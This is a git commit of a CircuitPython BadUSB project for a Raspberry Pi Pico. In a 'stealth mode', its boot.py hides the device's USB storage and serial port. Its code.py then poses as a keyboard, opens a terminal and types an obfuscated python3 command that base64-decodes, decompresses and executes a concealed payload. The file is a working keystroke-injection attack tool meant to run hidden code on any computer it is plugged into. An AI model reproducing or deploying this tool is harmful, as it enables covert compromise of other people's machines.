init
This commit is contained in:
@@ -0,0 +1,11 @@
|
||||
import storage
|
||||
import usb_cdc
|
||||
import board
|
||||
import digitalio
|
||||
|
||||
edit_mode_pin = digitalio.DigitalInOut(board.GP0)
|
||||
edit_mode_pin.pull = digitalio.Pull.UP
|
||||
|
||||
if edit_mode_pin.value:
|
||||
storage.disable_usb_drive()
|
||||
usb_cdc.disable()
|
||||
@@ -0,0 +1,4 @@
|
||||
Adafruit CircuitPython 10.1.4 on 2026-03-09; Raspberry Pi Pico with rp2040
|
||||
Board ID:raspberry_pi_pico
|
||||
UID:DE65440357434F2A
|
||||
boot.py output:
|
||||
@@ -0,0 +1,52 @@
|
||||
import time
|
||||
import usb_hid
|
||||
import board
|
||||
import digitalio
|
||||
import neopixel
|
||||
from adafruit_hid.keyboard import Keyboard
|
||||
from adafruit_hid.keycode import Keycode
|
||||
from keyboard_layout_win_de import KeyboardLayout
|
||||
|
||||
pixel = neopixel.NeoPixel(board.GP16, 1)
|
||||
|
||||
# --- SETUP DEBUG/EDIT PIN ---
|
||||
# We use the same logic as boot.py
|
||||
edit_mode_pin = digitalio.DigitalInOut(board.GP0)
|
||||
edit_mode_pin.pull = digitalio.Pull.UP
|
||||
|
||||
# If edit_mode_pin.value is False, the wire is connected (GND).
|
||||
# If it's True, no wire is connected (Stealth Mode).
|
||||
is_stealth_mode = edit_mode_pin.value
|
||||
|
||||
if is_stealth_mode:
|
||||
pixel.fill((0, 0, 0))
|
||||
time.sleep(2)
|
||||
|
||||
kbd = Keyboard(usb_hid.devices)
|
||||
layout = KeyboardLayout(kbd)
|
||||
|
||||
kbd.press(Keycode.CONTROL, Keycode.ALT, Keycode.T)
|
||||
kbd.release_all()
|
||||
|
||||
time.sleep(5)
|
||||
|
||||
payload = r"""python3 -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9UE1LxDAQPTe/IrckGENb6wqLFUQ8iIjgehORNhk1NE1CktWq+N9tyOIcZngzb9586Nm7kHB0coLEv40e+ThE2HQ8prCXiSc9A3p1AS9YWxwG+wa0qdkWVSl8rb6KfWkWJdCWH/Du/ur2Zff4cH15xzJPSGctyEQpac5a0daiqcUJ4d1qLDPGAMOEKlgk+JSl82wRDYCnpwyZvqwk9tYPcqLk4obwKALID7oKPNXPSPUHbBj6fNcGsAFLFTs3q5w6+q8elzRDsICk+WqhQLrZB4iRlgeIcdPlpILM5D8kkm38ZegPfONevg==')[0])))" """
|
||||
|
||||
layout.write(payload)
|
||||
kbd.send(Keycode.ENTER)
|
||||
|
||||
pixel.fill((0, 255, 0))
|
||||
time.sleep(1)
|
||||
kbd.send(Keycode.ENTER)
|
||||
time.sleep(1000000)
|
||||
else:
|
||||
pixel.fill((0, 0, 255))
|
||||
time.sleep(1)
|
||||
pixel.fill((0, 255, 0))
|
||||
time.sleep(1)
|
||||
pixel.fill((255, 0, 0))
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
print("Debug wire detected. Script execution halted.")
|
||||
pass
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
SD cards mounted at /sd will hide this file from Python.
|
||||
Reference in New Issue
Block a user